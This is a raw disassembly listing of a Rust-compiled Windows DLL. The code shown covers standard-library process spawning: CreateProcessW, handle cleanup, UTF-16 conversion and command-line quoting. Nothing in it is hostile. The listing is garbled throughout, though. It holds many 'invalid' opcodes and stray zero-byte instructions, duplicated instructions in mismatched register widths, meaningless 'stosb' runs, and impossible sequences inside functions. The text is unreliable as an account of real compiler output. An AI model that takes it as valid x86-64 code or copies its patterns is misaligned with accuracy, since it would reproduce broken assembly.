movaps xmmword [rbp + 0x40], xmm2
movaps xmmword [rbp + 0x50], xmm3
movups xmm0, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x60], xmm0
movups xmm0, xmmword [rbp + 0x5d0]
movaps xmmword [rbp + 0x70], xmm0
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rsi
lea rax, [rbp + 0x20]
jmp 0x18005080b
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_alloc_srccollections_btree_navigate.rs
call fcn.180069bb0
jmp 0x180050d7d
mov dword [rbp + 0x580], 0x68
lea rax, [rbp + 0x580]
mov rdx, qword [rbp + 0x568]
lea rcx, [rbp + 0x610]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 1
mov rcx, qword [rbp + 0x640]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180050961
movaps xmm0, xmmword [rbp + 0x610]
mov rax, qword [rbp + 0x5e8]
movups xmmword [rax], xmm0
movups xmm0, xmmword [rbp + 0x420]
movups xmm1, xmmword [rbp + 0x430]
movups xmm2, xmmword [rbp + 0x440]
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movups xmmword [rax + 0x30], xmm2
test r14, r14
je 0x180050897
mov rcx, rsi
mov rdx, rdi
call fcn.180056260
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x498]
call rsi
mov rcx, qword [rbp + 0x540]
call rsi
mov rcx, qword [rbp + 0x558]
call rsi
lea rcx, [rbp + 0x4c0]
call fcn.1800562a0
cmp qword [rbp + 0x538], 0
mov rsi, qword [rbp + 0x630]
je 0x1800508e7
mov edx, 2
mov rcx, qword [rbp + 0x548]
call fcn.18001b8e0
test rsi, rsi
je 0x1800508fd
mov edx, 2
mov rcx, qword [rbp + 0x5f0]
call fcn.18001b8e0
cmp qword [rbp + 0x560], 0
je 0x180050918
mov rcx, qword [rbp + 0x568]
mov edx, 2
call fcn.18001b8e0
cmp qword [rbp + 0x608], 0
je 0x180050933
mov edx, 2
mov rcx, qword [rbp + 0x640]
call fcn.18001b8e0
cmp qword [rbp + 0x648], 0
setne al
xor r12b, 1
test al, r12b
je 0x18004f723
mov edx, 2
mov rcx, qword [rbp + 0x658]
call fcn.18001b8e0
jmp 0x18004f723
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rcx, qword [rbp + 0x5e8]
mov qword [rcx], rax
mov qword [rcx + 0x10], 2
test r14, r14
je 0x1800509ac
mov rcx, rsi
mov rdx, rdi
call fcn.180056260
jmp 0x1800509ac
mov rax, qword [rbp + 0x528]
mov rcx, qword [rbp + 0x5e8]
mov qword [rcx], rax
mov qword [rcx + 0x10], 2
mov rcx, qword [rbp + 0x498]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rbp + 0x558]
mov rcx, qword [rbp + 0x540]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x420], 0
je 0x1800509ed
mov rcx, qword [rbp + 0x428]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x430], 0
mov r14, qword [rbp + 0x658]
je 0x180050a0b
mov rcx, qword [rbp + 0x438]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x440], 0
je 0x180050a22
mov rcx, qword [rbp + 0x448]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x4c0], 0
mov rcx, qword [rbp + 0x4c8]
movzx eax, byte [rbp + 0x4d0]
test al, al
jne 0x180050a4f
mov rax, qword [0x18008b2f8]
shl rax, 1
test rax, rax
jne 0x180050ae5
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x180050a5d
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp qword [rbp + 0x538], 0
je 0x180050a78
mov edx, 2
mov rcx, qword [rbp + 0x548]
call fcn.18001b8e0
cmp qword [rbp + 0x630], 0
je 0x180050a93
mov edx, 2
mov rcx, qword [rbp + 0x5f0]
call fcn.18001b8e0
cmp qword [rbp + 0x560], 0
je 0x180050aae
mov rcx, qword [rbp + 0x568]
mov edx, 2
call fcn.18001b8e0
cmp qword [rbp + 0x608], 0
je 0x180050ac9
mov edx, 2
mov rcx, qword [rbp + 0x640]
call fcn.18001b8e0
mov sil, 1
cmp byte [rbp + 0x5f8], 0
mov rax, qword [rbp + 0x600]
je 0x18004f72a
jmp 0x18004f914
mov rsi, rcx
call fcn.18006a6d0
mov rcx, rsi
test al, al
jne 0x180050a4f
mov byte [rcx + 1], 1
jmp 0x180050a4f
mov rsi, rcx
jmp 0x18005042b
lea rcx, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_alloc_srccollections_btree_navigate.rs
call fcn.180069bb0
jmp 0x180050d7d
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x610], rax
lea rax, [rbp + 0x610]
mov qword [rbp + 0x4c0], rax
lea rax, [0x180049a20]
mov qword [rbp + 0x4c8], rax
lea rax, str.comparing_environment_keys_failed:
mov qword [rbp + 0x580], rax
mov qword [rbp + 0x588], 1
mov qword [rbp + 0x5a0], 0
lea rax, [rbp + 0x4c0]
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], 1
lea rdx, str.library_std_src_syspalwindowsprocess.rs
lea rcx, [rbp + 0x580]
call fcn.180069750
jmp 0x180050d7d
mov eax, 1
mov qword [rbp + 0x5f0], rax
mov rcx, qword [rbp + 0x5f0]
mov rdx, r13
call fcn.180069600
jmp 0x180050d7d
mov eax, 2
mov qword [rbp + 0x5f0], rax
mov rcx, qword [rbp + 0x5f0]
mov rdx, rdi
call fcn.180069600
jmp 0x180050d7d
mov byte [rbp + 0x63e], 1
mov rcx, qword [rbp + 0x5f0]
mov rdx, rdi
call fcn.180069600
jmp 0x180050d7d
lea rcx, str.assertion_failed:_self.height___0
lea r8, str._rustc_a07f3eb43acc5df851e15176c7081a900a30a4d7library_alloc_srccollections_btree_node.rsassertion_failed:_edge.height__self.height___1
mov edx, 0x21
call fcn.180069820
jmp 0x180050d7d
mov byte [rbp + 0x667], 1
mov ecx, 1
mov edx, 4
call fcn.180069600
jmp 0x180050d7d
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.180069820
jmp 0x180050d7d
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.180069820
jmp 0x180050d7d
xor ecx, ecx
jmp 0x180050d3c
mov ecx, 1
mov byte [rbp + 0x667], 1
mov rdx, qword [rbp + 0x658]
call fcn.180069600
jmp 0x180050d7d
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.180069810
jmp 0x180050d7d
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.180069810
ud2
add eax, dword [rax]
add byte [rcx + rcx*4 - 0x4b], cl
enter 3, 0
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
mov ebp, 0x3d0
mov qword [rbp + 0x3d0], rdi
lea rsi, [0x18007e32f]
xor r15d, r15d
lea rbx, [rbp + 0x3c0]
xor r12d, r12d
jmp 0x180054362
mov r12d, ecx
mov word [r14 + rdi*2], r13w
inc rdi
mov qword [rbp + 0x3d0], rdi
test rsi, rsi
je 0x180054440
test r12w, r12w
je 0x1800543c0
xor ecx, ecx
mov r13d, r12d
cmp rdi, qword [rbp + 0x3c0]
jne 0x180054350
lea rax, [0x18007e32f]
sub rax, rsi
add rax, 0xa
add eax, 0xa
add eax, 0xa
movabs rdx, 0xaaaaaaaaaaaaaaab
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
mul rdx
mul edx
mov r8, rdx
shr r8, 1
cmp cx, 1
mov rax, r15
adc rax, 0xffffffffffffffff
sub r8, rax
inc r8
mov r12d, ecx
jmp 0x18005446b
lea rax, [0x18007e337]
cmp rsi, rax
je 0x180054440
movzx edx, byte [rsi]
movzx r13d, dl
test r13b, r13b
js 0x1800543df
inc rsi
xor ecx, ecx
jmp 0x180054376
mov eax, r13d
and eax, 0x1f
movzx r8d, byte [rsi + 1]
and r8d, 0x3f
loopne 0x18005442d
loopne 0x18005442d
cmp r13b, 0xdf
jbe 0x180054485
add byte [rax], al
add byte [rax], al
movzx ecx, byte [rsi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x180054499
movzx r13d, byte [rsi + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r13d, 0x3f
or r13d, ecx
or r13d, eax
cmp r13d, 0x110000
jne 0x1800544d6
add byte [rdi], cl
test dword [rdx + 0x66000000], esp
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp r15, 1
inc dword [rcx]
je 0x1800544ea
mov r15d, 1
xor r13d, r13d
mov esi, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x48], al
invalid
invalid
add byte [rax], al
mov r8d, 0
add byte [rax], al
cmp rdi, qword [rbp + 0x3c0]
jne 0x180054353
inc r8
inc eax
mov rcx, rbx
mov rdx, rdi
call fcn.18006a570
mov r14, qword [rbp + 0x3c8]
jmp 0x180054353
add rsi, 2
add esi, 2
shl eax, 6
or eax, r8d
mov r13d, eax
xor ecx, ecx
jmp 0x180054376
add rsi, 3
shl eax, 0xc
or ecx, eax
mov r13d, ecx
cmp r13d, 0xffff
jbe 0x1800544e3
lea eax, [r13 + 0xff0000]
shr eax, 0xa
or eax, 0xd800
fadd dword [rax]
add byte [rcx - 0x7f], al
in eax, 0xff
add eax, dword [rax]
add byte [rcx - 0x7f], al
int 0
fadd qword [rax]
add byte [rcx + rcx*4 - 0x17], al
fadd dword [rax]
add byte [rcx - 0x7f], al
in eax, 0xff
add eax, dword [rax]
add byte [rcx - 0x7f], al
int 0
fadd qword [rax]
add byte [rcx + rcx*4 - 0x17], al
mov r13d, eax
jmp 0x180054376
add rsi, 4
cmp r13d, 0xffff
ja case.0x18001c9bf.1136
xor ecx, ecx
jmp 0x180054376
mov rax, qword [rbp + 0x3d0]
mov rcx, qword [rbp + 0x3b8]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x3c0]
movups xmmword [rcx], xmm0
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
or eax, 0x2d2df
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
add al, ch
out dx, al
push rdx
add dword [rax], eax
add al, ch
out dx, al
push rdx
add dword [rax], eax
jmp 0x180054555
add byte [rax], al
add byte [rax - 0x77], cl
bnd call fcn.180069600
ud2
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0x3d8], 0
add byte [rax], al
add byte [rax], al
je 0x180054597
mov rcx, qword [rbp + 0x3e0]
mov edx, 2
call fcn.18001b8e0
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
pop r13
pop r14
pop r15
pop rbp
ret
push r15
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbx
sub rsp, 0xa8
add byte [rax], al
add byte [rax], al
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x10], xmm6
add byte [rax], al
add byte [rdi], cl
sub dword [rbp + 0x10], esi
mov qword [rbp + 8], 0xfffffffffffffffe
mov qword [rbp - 0x58], rcx
mov al, 1
test al, al
je 0x180054f38
mov qword [rbp - 0x38], r8
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x30], r9
movzx eax, byte [rbp + 0x98]
mov byte [rbp + 7], al
mov rax, qword [rbp + 0x90]
mov qword [rbp - 0x60], rax
movzx eax, byte [0x18008b300]
mov edx, 0x14
xor ecx, ecx
call fcn.180059d10
push rsi
add byte [rax], al
push rsi
add byte [rax], al
test rax, rax
je 0x180054f3d
mov ecx, 0xa
mov word [rax], 0x63
add byte [rsi - 0x39], ah
add byte [rbx], ah
mov qword [rbp - 0x50], rcx
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], 1
lea rsi, [0x18007de56]
mov r12d, 1
xor edi, edi
lea r14, [0x18007de55]
movabs r15, 0xaaaaaaaaaaaaaaab
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
stosb byte [rdi], al
lea r13, [rbp - 0x50]
jmp 0x1800546ce
nop dword [rax + rax]
mov word [rax + r12*2], di
inc r12
mov qword [rbp - 0x40], r12
mov edi, ebx
test di, di
jne 0x180054760
lea rcx, [0x18007de71]
lea ecx, [0x18007de71]
cmp rsi, rcx
je 0x1800547da
invalid
add byte [rdi + rcx - 0x4a], al
invalid
movzx r8d, byte [rsi]
movzx edi, r8b
test dil, dil
js 0x1800546f9
inc rsi
jmp 0x180054760
invalid
mov ecx, edi
and ecx, 0x1f
movzx r9d, byte [rsi + 1]
and r9d, 0x3f
invalid
cmp dil, 0xdf
cmp bh, 0xdf
invalid
cmp bh, 0xdf
jbe 0x18005474f
movzx edx, byte [rsi + 2]
shl r9d, 6
mov dh, 0x56
add al, byte [rcx - 0x3f]
loope 0x18005471b
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x18005479c
invalid
movzx edi, byte [rsi + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and edi, 0x3f
or edi, edx
or edi, ecx
cmp edi, 0x110000
inc dword [rax]
add byte [rcx], dl
add byte [rdi], cl
invalid
cdq
add byte [rax], al
invalid
inc dword [rax]
add byte [rcx], dl
add byte [rdi], cl
test byte [rcx + 0x48000000], bl
add esi, 4
add rsi, 4
cmp edi, 0xffff
jbe 0x180054760
jmp 0x1800547af
add rsi, 2
shl ecx, 6
or ecx, r9d
mov edi, ecx
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
xor ebx, ebx
cmp r12, qword [rbp - 0x50]
jne 0x1800546c0
mov rax, r14
sub rax, rsi
add rax, 0x1e
mul r15
shr rdx, 1
cmp bx, 1
sbb rdx, 0
lea r8, [rdx + 2]
mov rcx, r13
mov rdx, r12
call fcn.18006a570
mov rax, qword [rbp - 0x48]
jmp 0x1800546c0
add rsi, 3
shl ecx, 0xc
or edx, ecx
mov edi, edx
cmp edi, 0xffff
jbe 0x180054760
lea ecx, [rdi + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and edi, 0x3ff
or edi, 0xdc00
mov ebx, edi
mov edi, ecx
cmp r12, qword [rbp - 0x50]
jne 0x1800546c0
jmp 0x18005476c
mov r12, qword [rbp - 0x40]
mov qword [rbp - 0x10], r12
movups xmm0, xmmword [rbp - 0x50]
movaps xmmword [rbp - 0x20], xmm0
cmp r12, qword [rbp - 0x20]
mov r15, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x28]
mov rdi, qword [rbp - 0x38]
jne 0x180054809
lea rcx, [rbp - 0x20]
call fcn.1800489e0
mov r12, qword [rbp - 0x10]
mov rsi, qword [rbp - 0x18]
mov word [rsi + r12*2], 0x22
inc r12
mov qword [rbp - 0x10], r12
lea rcx, [rdi + rdi]
xor edx, edx
lea rax, str.Windows_file_names_may_not_contain_____or_end_with___
nop dword [rax + rax]
cmp rcx, rdx
je 0x180054845
cmp word [rbx + rdx], 0x22
lea rdx, [rdx + 2]
jne 0x180054830
jmp 0x180054ea8
movzx ecx, word [rbx + rdi*2 - 2]
cmp cx, 0x5c
je 0x180054ea8
lea r13, [rdi - 1]
test cx, cx
cmovne r13, rdi
mov rdi, qword [rbp - 0x20]
mov rax, rdi
sub rax, r12
cmp rax, r13
jae 0x180054889
lea rcx, [rbp - 0x20]
mov rdx, r12
mov r8, r13
call fcn.18006a570
mov r12, qword [rbp - 0x10]
mov rdi, qword [rbp - 0x20]
mov rsi, qword [rbp - 0x18]
lea r8, [r13*2]
lea rcx, [rsi + r12*2]
mov rdx, rbx
call fcn.180068d66
add r12, r13
mov qword [rbp - 0x10], r12
cmp r12, rdi
jne 0x1800548ba
lea rcx, [rbp - 0x20]
call fcn.1800489e0
mov rsi, qword [rbp - 0x18]
mov r12, qword [rbp - 0x10]
mov word [rsi + r12*2], 0x22
inc r12
mov qword [rbp - 0x10], r12
mov rax, qword [rbp - 0x60]
lea rax, [rax + rax*4]
lea rcx, [r15 + rax*8]
movaps xmm6, xmmword [0x18006c820]
mov qword [rbp - 0x28], rcx
cmp r15, rcx
je 0x180054ee9
mov r14, qword [rbp - 0x10]
cmp r14, qword [rbp - 0x20]
jne 0x1800548ff
lea rcx, [rbp - 0x20]
call fcn.1800489e0
mov r14, qword [rbp - 0x10]
lea rax, [r15 + 0x28]
mov qword [rbp - 0x30], rax
mov rbx, qword [rbp - 0x18]
mov word [rbx + r14*2], 0x20
inc r14
mov qword [rbp - 0x10], r14
cmp qword [r15], 0
je 0x180054950
lea rcx, [rbp - 0x20]
mov rdx, r15
movzx r8d, byte [rbp + 7]
call fcn.180054ff0
mov r15, qword [rbp - 0x30]
test rax, rax
mov rcx, qword [rbp - 0x28]
je 0x1800548df
jmp 0x180054ea8
mov r13, qword [r15 + 0x10]
mov rax, qword [r15 + 0x18]
lea r15, [rax + r13]
xor ecx, ecx
nop
cmp rax, rcx
je 0x180054981
movzx edx, byte [r13 + rcx]
cmp edx, 0xa
je 0x180054e98
inc rcx
cmp edx, 0xd
jne 0x180054960
jmp 0x180054e98
xor r9d, r9d
mov rcx, r13
jmp 0x18005499c
xor r9d, r9d
test dx, dx
je 0x180054ea1
mov dx, 1
test r9w, r9w
jne 0x180054990
cmp rcx, r15
je 0x180054a5d
movzx r10d, byte [rcx]
movzx r8d, r10b
test r8b, r8b
js 0x1800549c1
inc rcx
jmp 0x180054a28
mov r9d, r8d
and r9d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp r8b, 0xdf
jbe 0x180054a1a
movzx r8d, byte [rcx + 2]
shl r11d, 6
and r8d, 0x3f
or r8d, r11d
cmp r10b, 0xf0
jb 0x180054a33
movzx r10d, byte [rcx + 3]
add rcx, 4
and r9d, 7
shl r9d, 0x12
shl r8d, 6
and r10d, 0x3f
or r10d, r8d
or r10d, r9d
mov r8d, r10d
cmp r8d, 0xffff
jbe 0x180054a28
jmp 0x180054a47
add rcx, 2
shl r9d, 6
or r9d, r11d
mov r8d, r9d
xor r9d, r9d
mov edx, r8d
jmp 0x180054993
add rcx, 3
shl r9d, 0xc
or r8d, r9d
cmp r8d, 0xffff
jbe 0x180054a28
and r8d, 0x3ff
or r8d, 0xdc00
mov r9d, r8d
jmp 0x180054993
test rax, rax
je 0x180054b5e
cmp byte [rax + r13 - 1], 0x5c
sete sil
or sil, byte [rbp + 7]
mov rdi, r13
jmp 0x180054a85
mov sil, 1
cmp rdi, r15
je 0x180054b51
movzx edx, byte [rdi]
movzx ecx, dl
test cl, cl
js 0x180054a94
inc rdi
jmp 0x180054af0
mov eax, ecx
and eax, 0x1f
movzx r8d, byte [rdi + 1]
and r8d, 0x3f
cmp cl, 0xdf
jbe 0x180054ad6
movzx ecx, byte [rdi + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
jb 0x180054ae4
movzx edx, byte [rdi + 3]
add rdi, 4
and eax, 7
shl eax, 0x12
shl ecx, 6
and edx, 0x3f
or edx, ecx
or edx, eax
mov ecx, edx
jmp 0x180054af0
add rdi, 2
shl eax, 6
or eax, r8d
mov ecx, eax
jmp 0x180054af0
add rdi, 3
shl eax, 0xc
or ecx, eax
nop dword [rax]
mov eax, ecx
and eax, 0x1ff800
cmp eax, 0xd800
je 0x180054a7c
cmp ecx, 0x7f
ja 0x180054b3f
lea eax, [rcx - 0x30]
cmp eax, 0xa
jb 0x180054b3f
mov eax, ecx
and eax, 0x5f
add eax, 0xffffffbf
cmp eax, 0x19
jbe 0x180054b3f
movzx eax, cl
add eax, 0xffffffdd
cmp eax, 0x3c
ja 0x180054a79
movabs rdx, 0x1200000030801d83
bt rdx, rax
jae 0x180054a79
call fcn.18002c900
test al, al
jne 0x180054a79
jmp 0x180054a7c
test sil, 1
jne 0x180054b5e
mov al, 1
mov dword [rbp - 0x38], eax
jmp 0x180054b8a
cmp r14, qword [rbp - 0x20]
jne 0x180054b75
lea rcx, [rbp - 0x20]
call fcn.1800489e0
mov rbx, qword [rbp - 0x18]
mov r14, qword [rbp - 0x10]
mov word [rbx + r14*2], 0x22
inc r14
mov qword [rbp - 0x10], r14
mov dword [rbp - 0x38], 0
xor edi, edi
xor r12d, r12d
jmp 0x180054bae
mov word [rbx + r14*2], di
inc r14
mov qword [rbp - 0x10], r14
mov edi, esi
test di, di
je 0x180054bc0
xor esi, esi
jmp 0x180054c70
cmp r13, r15
je 0x180054dce
movzx ecx, byte [r13]
movzx edi, cl
test dil, dil
js 0x180054be0
inc r13
xor esi, esi
jmp 0x180054c70
mov eax, edi
and eax, 0x1f
movzx edx, byte [r13 + 1]
and edx, 0x3f
cmp dil, 0xdf
jbe 0x180054c2a
movzx edi, byte [r13 + 2]
shl edx, 6
and edi, 0x3f
or edi, edx
cmp cl, 0xf0
jb 0x180054c39
movzx ecx, byte [r13 + 3]
add r13, 4
and eax, 7
shl eax, 0x12
shl edi, 6
and ecx, 0x3f
or ecx, edi
or ecx, eax
mov edi, ecx
cmp edi, 0xffff
jbe 0x180054bb3
jmp 0x180054c4e
add r13, 2
shl eax, 6
or eax, edx
mov edi, eax
xor esi, esi
jmp 0x180054c70
add r13, 3
shl eax, 0xc
or edi, eax
cmp edi, 0xffff
jbe 0x180054bb3
lea eax, [rdi + 0xff0000]
shr eax, 0xa
or eax, 0xd800
and edi, 0x3ff
or edi, 0xdc00
mov esi, edi
mov edi, eax
nop dword [rax]
movzx eax, di
cmp eax, 0x24
jg 0x180054cc0
cmp eax, 0xd
je 0x180054ce0
cmp eax, 0x22
jne 0x180054dab
mov rax, qword [rbp - 0x20]
mov rcx, rax
sub rcx, r14
cmp rcx, r12
jae 0x180054d2a
lea rcx, [rbp - 0x20]
mov rdx, r14
mov r8, r12
call fcn.18006a570
mov rbx, qword [rbp - 0x18]
mov r14, qword [rbp - 0x10]
jmp 0x180054d2f
cmp eax, 0x25
je 0x180054ce0
cmp eax, 0x5c
jne 0x180054dab
inc r12
cmp r14, qword [rbp - 0x20]
jne 0x180054ba0
jmp 0x180054db8
mov rax, qword [rbp - 0x20]
sub rax, r14
cmp rax, 6
ja 0x180054d07
mov r8d, 7
lea rcx, [rbp - 0x20]
mov rdx, r14
call fcn.18006a570
mov rbx, qword [rbp - 0x18]
mov r14, qword [rbp - 0x10]
movabs rax, 0x2c007e003a0064
mov qword [rbx + r14*2 + 6], rax
movabs rax, 0x64006300250025
mov qword [rbx + r14*2], rax
add r14, 7
jmp 0x180054da7
test r12, r12
je 0x180054d83
cmp r12, 0x10
jae 0x180054d39
xor eax, eax
jmp 0x180054d6a
mov rax, r12
and rax, 0xfffffffffffffff0
lea rcx, [rbx + r14*2]
add rcx, 0x10
xor edx, edx
nop word [rax + rax]
movups xmmword [rcx + rdx*2 - 0x10], xmm6
movups xmmword [rcx + rdx*2], xmm6
add rdx, 0x10
cmp rax, rdx
jne 0x180054d50
add r14, rax
cmp r12, rax
je 0x180054d7f
sub r12, rax
nop dword [rax]
mov word [rbx + r14*2], 0x5c
inc r14
dec r12
jne 0x180054d70
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x10], r14
cmp r14, rax
jne 0x180054d9d
lea rcx, [rbp - 0x20]
call fcn.1800489e0
mov rbx, qword [rbp - 0x18]
mov r14, qword [rbp - 0x10]
mov word [rbx + r14*2], 0x22
inc r14
mov qword [rbp - 0x10], r14
xor r12d, r12d
cmp r14, qword [rbp - 0x20]
jne 0x180054ba0
lea rcx, [rbp - 0x20]
call fcn.1800489e0
mov rbx, qword [rbp - 0x18]
mov r14, qword [rbp - 0x10]
jmp 0x180054ba0
mov r15, qword [rbp - 0x30]
cmp byte [rbp - 0x38], 0
mov rcx, qword [rbp - 0x28]
jne 0x1800548df
mov rax, qword [rbp - 0x20]
mov rcx, rax
sub rcx, r14
cmp rcx, r12
jae 0x180054e08
lea rcx, [rbp - 0x20]
mov rdx, r14
mov r8, r12
call fcn.18006a570
mov rbx, qword [rbp - 0x18]
mov r14, qword [rbp - 0x10]
jmp 0x180054e0d
test r12, r12
je 0x180054e63
cmp r12, 0x10
jae 0x180054e17
xor eax, eax
jmp 0x180054e42
mov rax, r12
and rax, 0xfffffffffffffff0
lea rcx, [rbx + r14*2]
add rcx, 0x10
xor edx, edx
movups xmmword [rcx + rdx*2 - 0x10], xmm6
movups xmmword [rcx + rdx*2], xmm6
add rdx, 0x10
cmp rax, rdx
jne 0x180054e28
add r14, rax
cmp r12, rax
je 0x180054e5f
sub r12, rax
nop word cs:[rax + rax]
mov word [rbx + r14*2], 0x5c
inc r14
dec r12
jne 0x180054e50
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x10], r14
cmp r14, rax
jne 0x180054e7d
lea rcx, [rbp - 0x20]
call fcn.1800489e0
mov rbx, qword [rbp - 0x18]
mov r14, qword [rbp - 0x10]
mov word [rbx + r14*2], 0x22
inc r14
mov qword [rbp - 0x10], r14
mov r15, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x28]
jmp 0x1800548df
lea rax, [0x18007de98]
jmp 0x180054ea8
lea rax, str.nul_byte_found_in_provided_data
mov rcx, qword [rbp - 0x58]
mov qword [rcx + 8], rax
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rbp - 0x20], 0
je 0x180054f20
mov rcx, qword [rbp - 0x18]
mov edx, 2
movaps xmm6, xmmword [rbp + 0x10]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp fcn.18001b8e0
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x20]
jne 0x180054f00
lea rcx, [rbp - 0x20]
call fcn.1800489e0
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x18]
mov word [rcx + rax*2], 0x22
inc rax
mov qword [rbp - 0x10], rax
mov rcx, qword [rbp - 0x58]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rbp - 0x20]
movups xmmword [rcx], xmm0
movaps xmm6, xmmword [rbp + 0x10]
add rsp, 0xa8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.18001f140
mov ecx, 2
mov edx, 0x14
call fcn.180069600
int3
mov dword [rsi + 0x10], eax
mov r15b, 1
mov al, 1
mov dword [rbp - 0x14], eax
add dword [rcx + 0x3145ec45], ecx
in eax, dx
xor r13d, r13d
movaps xmm6, xmmword [0x18006c820]
xor edi, edi
jmp 0x1800551a3
mov rcx, qword [rsi + 8]
mov ecx, dword [rsi + 8]
mov word [rcx + rax*2], r13w
inc rax
inc rax
mov qword [rsi + 0x10], rax
mov r13d, r12d
test r13w, r13w
jne 0x180055230
cmp rbx, r14
je 0x180055350
add byte [rax], al
add byte [rax], al
movzx ecx, byte [rbx]
movzx r13d, cl
test r13b, r13b
test ch, ch
js 0x1800551c7
inc rbx
jmp 0x180055230
mov eax, r13d
and eax, 0x1f
movzx edx, byte [rbx + 1]
add dword [rbx - 0x7fbec01e], eax
std
fbstp tbyte [rsi + 0x43]
movzx r13d, byte [rbx + 2]
shl edx, 6
and r13d, 0x3f
or r13d, edx
cmp cl, 0xf0
jb 0x1800552fb
movzx ecx, byte [rbx + 3]
add rbx, 4
and eax, 7
shl eax, 0x12
shl r13d, 6
and ecx, 0x3f
or ecx, r13d
or ecx, eax
mov r13d, ecx
cmp r13d, 0xffff
invalid
inc dword [rax]
add byte [rsi + 0x18], dh
invalid
add byte [rsi + 0x18], dh
jmp 0x180055312
add byte [rax - 0x7d], cl
ret
add rbx, 2
shl eax, 6
or eax, edx
mov r13d, eax
nop dword [rax]
add byte [rax], al
xor r12d, r12d
test r15b, r15b
je 0x1800552dd
cmp r13w, 0x22
je case.0x180047745.238
movzx eax, r13w
cmp eax, 0x5c
pop rsp
pop rsp
jne 0x1800552db
inc rdi
jmp 0x1800552dd
mov r8, rdi
inc r8
je 0x180055422
mov rax, qword [rsi]
mov rdx, qword [rsi + 0x10]
sub rax, rdx
cmp rax, r8
adc byte [rax + 0x29], cl
ror byte [rcx + rdi - 0x40], 1
jb 0x18005533f
add byte [rax], al
add byte [rax - 0x75], cl
or byte [rax - 0x7b], r9b
or byte [rax - 0x7b], cl
